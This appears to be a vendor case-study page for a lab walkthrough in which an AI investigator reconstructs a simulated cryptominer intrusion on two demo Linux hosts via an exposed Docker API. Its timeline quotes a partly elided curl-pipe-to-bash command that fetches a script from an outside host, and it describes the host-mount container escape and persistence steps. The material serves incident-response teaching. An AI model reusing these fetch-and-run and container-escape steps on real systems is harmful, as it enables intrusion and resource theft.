← All case studies
Case study · Lab walkthrough

Kestrel Analytics: a cryptominer through an open Docker API

A CI server's Docker API was open to the internet. The AI investigator traced a container escape, a renamed miner, three kinds of persistence, a stolen deploy key and a second host, from one monitoring alert.

2 December 2026 Technology and SaaS (demo company)2 Linux hosts · 46,116 events
A cryptominer through an open Docker API, recorded from an empty case to the answer · 5:30 · captions on

Kestrel Analytics is a demonstration company we built. Its two servers, the attack and the evidence are ours: we generated the hosts’ file systems and logs in real formats, built them into disk images and collected them with Arcsentry Collector. Nothing here comes from a customer, and the outside addresses are documentation ranges that point nowhere.

The situation

Kestrel’s platform team runs a CI server, build01, that builds and deploys their API to an application server, app01. On 26 November at 04:20 UTC their monitoring raised NodeExporterDown for build01. Over the next two days both servers sat near 100% CPU. An engineer looked at the processes on the 28th and had both hosts imaged.

The question we asked

Monitoring fired NodeExporterDown on build01 at 04:20 UTC on 2026-11-26, and CPU has been pegged on build01 and app01 since. Were these hosts compromised? If so, establish how the attacker got in and from where, what they did on each host, what persistence they left, whether credentials were taken, and whether they moved between hosts. Cite event times and IDs. When you set verdicts, give each a summary, an ATT&CK technique and a kill-chain stage. Add indicators for what you confirm, say clearly what the evidence cannot show, and write your findings to a case note.

What the AI investigator did

  1. Oriented first. It listed the sessions and saw that the only interesting successful logons were sre from the office and one ci session on app01 from build01 that ran far longer than a normal deploy. It flagged that session as the thread to pull.
  2. Planned per host and source. It created a to-do for each evidence item and event type — auditd, Docker container state, syslog, shell history, SSH keys, cron and systemd — on both hosts.
  3. Split the work across sub-agents, four at a time, and brought the results back.
  4. Ruled on events one at a time: 58 verdicts in all, each with a summary, an ATT&CK technique and a kill-chain stage, and added 19 indicators.
  5. Wrote a cited case note with a conclusion, six findings, a “ruled out / baseline” section and a “what the evidence cannot show” section.

The walkthrough video above is a second, independent run, recorded live from an empty case with the same question. It took about 15 minutes and 10.7 million tokens, ran sixteen sub-agents in waves of four, and marked 43 events malicious and 2 suspicious with 16 indicators. It reached the same reconstruction: in through the Docker API, the container escape, the miner and its persistence on both hosts, the copied ci key and the hop to app01 at 03:58:12. It missed one thing the first run and our answer key have: it read the engineer’s undated shell-history edit of daemon.json as responder activity, not as the change that opened the API (see below).

What happened

The timeline below is the verified one we built the case from. The AI investigator’s note matched it on every row; where it added detail, that is noted after the table.

Time (UTC, 26 Nov) What happened Source
03:41:12 A scanner at 198.51.100.77 connects to build01 on tcp/2375, the Docker API Firewall log
03:43:06 A container, elated_noether (alpine), starts with the host’s / mounted at /host Docker container config, auditd
03:43:08 Inside it: chroot /host bash -c "curl … 198.51.100.88/k.sh | bash" auditd
03:43:18–03:43:20 Competing miners killed (kinsing, xmrig, kdevtmpfsi) auditd
03:43:25 The miner is downloaded as /usr/local/lib/.cache/kworkerds auditd, file system
03:43:49 node-exporter stopped and disabled: the cause of the 04:20 alert auditd, syslog
03:43:56–03:44:01 Persistence: kworker-update.service, /etc/cron.d/kworker made immutable, a root SSH key auditd, systemd, cron, authorized keys
03:43:58 onward Outbound to 203.0.113.140:4444 every few minutes, 403 times Firewall log
03:57:20 The ci user’s deploy key copied to /root/.ssh/.ci auditd
03:58:12 app01 accepts a key login for ci from build01 PAM, wtmp on app01
04:03:07 On app01, ci (in the docker group) runs a privileged container with the host mounted; the same miner and persistence follow auditd, Docker config on app01

The AI investigator reached the same conclusion from the evidence alone. It fixed the first malicious event on build01 at 03:43:05 and the first on app01 at 03:58:12, 15 minutes and 7 seconds later, and tied the two hosts together through the one overlong ci session. It added detail we had not written into the answer key: that the miner’s mtime (1 December 2025) is unexplained and cannot be trusted, and that the later ci logons on the 26th and 27th match the routine deploy pattern and are not attributed to the attacker.

Why the API was open

The root cause was a configuration change, not a vulnerability. On 9 October someone added tcp://0.0.0.0:2375 to /etc/docker/daemon.json and cleared dockerd’s default listener with a systemd override. dockerd logs a warning about this every time it starts. The engineer’s shell history shows the edit and a test against localhost:2375.

What it would not claim

The note’s gaps section is the part we care about most. The AI investigator would not claim more than the evidence supports:

  • The identity behind 198.51.100.77 is unknown. The link from that address to the container is by timing — one second — not by a recorded API request body.
  • The payload was not collected. k.sh, the kworkerds binary and its config.json (pool and wallet) are not in the evidence, so the miner’s identity is inferred. No outbound connection to the dropper was logged, so the download is attested only by auditd’s record of the curl command.
  • No exfiltration claim. The 404 outbound lines to the pool are SYN log entries; transfer volume is unknown.
  • auditd records executions, not every file read, so reads of files other than the ci key cannot be excluded beyond that coverage.
  • The stolen ci key and the planted root@build key stay valid until rotated or removed, and any other host that trusts them was out of scope.

What it shows

  • One alert was enough to get a cited, two-host reconstruction: initial access, the container escape, the miner, three kinds of persistence, a stolen key and the lateral move.
  • The AI investigator separated signal from noise. It set the internet password-guessing aside as background and did not mistake the routine ci deploys for the attack, while flagging the one ci session that was the lateral move.
  • It said where its certainty ended — the attacker’s identity, the uncollected payload, and the unprovable exfiltration volume.

The practice evidence below is the same two hosts. Work the questions and compare your answer with the AI investigator’s note.

Explore the case yourself

This is the case as the AI investigator left it: every verdict, summary and indicator below is from the run. Switch views with the icons, or open the AI investigator at the top right.

Kestrel Analytics — CPU alert on build servers 2 hosts · 46,116 events
Events46,116
Evidence2
Indicators19
Malicious51
Suspicious7
ATT&CK techniques
T1562.0016
T11056
T1036.0055
T11334
T10533
T10683
T10783
T1070.0042
Kill chain click a stage to pivot
NameOSStatusRecordsFlagged
app01Ubuntu 24.04.1 LTSCompleted22,78724
build01Ubuntu 24.04.1 LTSCompleted23,32927
Interactive: switch views with the icons or press 1–8. Open the AI investigator at the top right. Real data · Kestrel Analytics demo case · 46,116 events
Practice on this case

The evidence is free to download, with a brief, questions and an answer key: Kestrel Analytics: a cryptominer through an open Docker API.

See it on your own evidence. Free for 7 days.

Tell us what you want to investigate. A person replies within one business day with the download and a trial licence.

Request a trial